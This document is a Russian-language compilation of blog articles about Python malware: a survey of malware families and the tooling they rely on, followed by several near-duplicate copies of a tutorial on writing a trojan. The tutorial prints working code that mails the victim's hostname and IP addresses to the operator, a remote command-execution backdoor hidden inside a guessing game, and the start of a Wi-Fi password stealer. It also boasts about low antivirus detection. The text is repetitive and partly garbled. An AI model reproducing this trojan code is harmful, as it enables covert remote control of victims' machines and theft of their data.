Мелкая питонячая радость #12: вирусы и зловредное ПО на Python
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient hostname = 'ifconfig.me' # It's possible use onion hostname here as well tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Now we can communicate with host stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hostname.encode()) recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py "Grab the whole screen" import pyscreenshot as ImageGrab # grab fullscreen im = ImageGrab.grab() # save image file im.save("fullscreen.png")
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'): . import package1 .
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'): . import covertutils . # Also works with 'bitbucket_repo' and 'gitlab_repo'
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
На сегодня все, прошлые питонячие радости смотрите по ссылке.
Как создать простого трояна на Python

Зачем кому-то писать вредоносное ПО на Python? Мы собираемся сделать это, чтобы изучить общие принципы разработки вредоносных программ, а в то же время вы сможете попрактиковаться в использовании этого языка и применить полученные знания для других целей. Кроме того, вредоносное ПО Python встречается в естественных условиях, и не все программы защиты от вирусов обращают на него внимание.
Содержание скрыть
Конечно, приведенные в статье скрипты никоим образом не подходят для использования в боевых условиях — в них нет обфускации, принципы работы просты, как дважды два, и нет никаких вредоносных функций. Однако проявив немного изобретательности, их можно использовать для простых грязных уловок — например, выключения чьего-либо компьютера в классе или в офисе.
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
Определяем IP
Во-первых, нам (то есть нашему трояну) нужно определить, где он оказался. Важной частью вашей информации является IP-адрес, который вы можете использовать для подключения к зараженному компьютеру в будущем.
Начнем писать код. Сразу импортируем библиотеки:
import socket
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
pip install socket
pip install requests
Если вы видите сообщение об отсутствии pip, вам необходимо сначала установить его с pypi.org. Как ни странно, что Pip рекомендуется становить через Pip, что, конечно, очень полезно, когда он недоступен.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети
hostname = socket . gethostname ( )
# Определяем локальный ( внутри сети) IP-адрес
local_ip = socket . gethostbyname ( hostname )
# Определяем глобальный ( публичный / в интернете) IP-адрес
public_ip = get ( ‘http:// api. ipify. org’ ) . text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print ( f’Хост: < hostname >‘ )
print ( f’Локальный IP: < local_ip >‘ )
print ( f’Публичный IP: < public_ip >‘ )
Никогда не встречал конструкции типа print( f’<> ‘) ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в вашем коде, они также помогают избежать таких ошибок, как сложение строк и добавление чисел (Python это не JavaScript!).
Крадущийся питон. Создаем простейший троян на Python

В этой статье я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если ты не знаешь Python, ты сможешь лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
info
Теория
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socket
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
pip install socket
pip install requests
info
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети
hostname = socket . gethostname ( )
# Определяем локальный ( внутри сети) IP-адрес
local_ip = socket . gethostbyname ( hostname )
# Определяем глобальный ( публичный / в интернете) IP-адрес
public_ip = get ( ‘http:// api. ipify. org’ ) . text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print ( f’Хост: < hostname >‘ )
print ( f’Локальный IP: < local_ip >‘ )
print ( f’Публичный IP: < public_ip >‘ )
Никогда не встречал конструкции типа print( f’<> ‘) ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
info
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Как написать троян на Python
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный данным материалом. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Не забывайте об этом!
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socket
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у вас отсутствуют, их нужно установить командой pip .
pip install socket
pip install requests
Если вы видите ошибку, что у вас отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети
hostname = socket . gethostname ( )
# Определяем локальный (внутри сети) IP-адрес
local_ip = socket . gethostbyname ( hostname )
# Определяем глобальный (публичный / в интернете) IP-адрес
public_ip = get ( ‘http://api.ipify.org’ ) . text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Я выбрал сайт api . < wbr / >ipify . < wbr / >org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print ( f ‘Хост:
print ( f ‘Локальный IP:
print ( f ‘Публичный IP:
Никогда не встречал конструкции типа print ( < wbr / >f ‘<>‘ ) ? Буква f означает форматированные строковые литералы. А по простому — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это вам на JavaScript!).
import socket
from requests import get
hostname = socket . gethostname ( )
local_ip = socket . gethostbyname ( hostname )
public_ip = get ( ‘http://api.ipify.org’ ) . text
print ( f ‘Хост:
print ( f ‘Локальный IP:
print ( f ‘Публичный IP:
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip < wbr / >install ):
import smtplib as smtp
from getpass import getpass
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмо
email = ‘demo@spy-soft.net’
# Пароль от нее (вместо ***)
# Почта, на которую отправляем письмо
dest_email = ‘demo@spy-soft.net’
# Тема письма
subject = ‘IP’
# Текст письма
email_text = ‘TEXT’
Дальше сформируем письмо:
message = ‘From: <>\nTo: <>\nSubject: <>\n\n<>‘ . format ( email , dest_email , subject , email_text )
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp . SMTP_SSL ( ‘smtp.yandex.com’ ) # SMTP-сервер Яндекса
server . set_debuglevel ( 1 ) # Минимизируем вывод ошибок (выводим только фатальные ошибки)
server . ehlo ( email ) # Отправляем hello-пакет на сервер
server . login ( email , password ) # Заходим на почту, с которой будем отправлять письмо
server . auth_plain ( ) # Авторизуемся
server . sendmail ( email , dest_email , message ) # Вводим данные для отправки (адреса свой и получателя и само сообщение)
server . quit ( ) # Отключаемся от сервера
В строке server . < wbr / >ehlo ( < wbr / >email ) мы используем команду EHLO . Большинство серверов SMTP поддерживают ESMTP и EHLO . Если сервер, к которому вы пытаетесь подключиться, не поддерживает EHLO , можно использовать HELO .
Полный код этой части трояна:
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket . gethostname ( )
local_ip = socket . gethostbyname ( hostname )
public_ip = get ( ‘http://api.ipify.org’ ) . text
email = ‘demo@spy-soft.net’
dest_email = ‘demo@spy-soft.net’
subject = ‘IP’
email_text = ( f ‘Host:
message = ‘From: <>\nTo: <>\nSubject: <>\n\n<>‘ . format ( email , dest_email , subject , email_text )
server = smtp . SMTP_SSL ( ‘smtp.yandex.com’ )
server . set_debuglevel ( 1 )
server . ehlo ( email )
server . login ( email , password )
server . auth_plain ( )
server . sendmail ( email , dest_email , message )
server . quit ( )
После запуска скрипта, получаем письмо.

Этот скрипт я проверил на VirusTotal. Результат на скрине.

Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
import random
import socket
import threading
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
# Создаем функцию игры
# Берем случайное число от 0 до 1000
number = random . randint ( 0 , 1000 )
# Счетчик попыток
# Флаг завершения игры
done = False
# Пока игра не закончена, просим ввести новое число
while not done :
guess = input ( ‘Введите число: ‘ )
# Если ввели число
if guess . isdigit ( ) :
# Конвертируем его в целое
guess = int ( guess )
# Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе
if guess == number :
done = True
print ( f ‘Ты победил! Я загадал
# Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше
if guess > number :
print ( ‘Загаданное число меньше!’ )
print ( ‘Загаданное число больше!’ )
# Если ввели не число — выводим сообщение об ошибке и просим ввести число заново
print ( ‘Это не число от 0 до 1000!’ )
Зачем столько сложностей с проверкой на число? Можно было просто написать:
guess < wbr / >= < wbr / >int ( < wbr / >input ( < wbr / >‘Введите
Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
# Создаем функцию трояна
def trojan ( ) :
# IP-адрес атакуемого
HOST = ‘192.168.2.112’
# Порт, по которому мы работаем
PORT = 9090
# Создаем эхо-сервер
client = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
client . connect ( ( HOST , PORT ) )
while True :
# Вводим команду серверу
server_command = client . recv ( 1024 ) . decode ( ‘cp866’ )
# Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом
if server_command == ‘cmdon’ :
cmd_mode = True
# Отправляем информацию на сервер
client . send ( ‘Получен доступ к терминалу’ . encode ( ‘cp866’ ) )
# Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом
if server_command == ‘cmdoff’ :
cmd_mode = False
# Если запущен режим работы с терминалом, вводим команду в терминал через сервер
if cmd_mode :
os . popen ( server_command )
# Если же режим работы с терминалом выключен — можно вводить любые команды
if server_command == ‘hello’ :
print ( ‘Hello World!’ )
# Если команда дошла до клиента — выслать ответ
client . send ( f ‘
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
client < wbr / >= < wbr / >socket . < wbr / >socket ( < wbr / >socket . < wbr / >AF_INET , < wbr / >socket . < wbr / >SOCK_STREAM )
создает эхо‑сервер (отправили запрос — получили ответ). AF_INET означает работу с IPv4-адресацией, а SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
client . < wbr / >connect ( ( < wbr / >HOST , < wbr / >PORT ) < wbr / >)
указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция client . < wbr / >recv ( < wbr / >1024 ) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Команда decode ( < wbr / >‘cp866’ ) декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно cp866 ? Зайдем в командную строку и введем команду chcp .

Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть utf — 8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после chcp ее номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.

Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
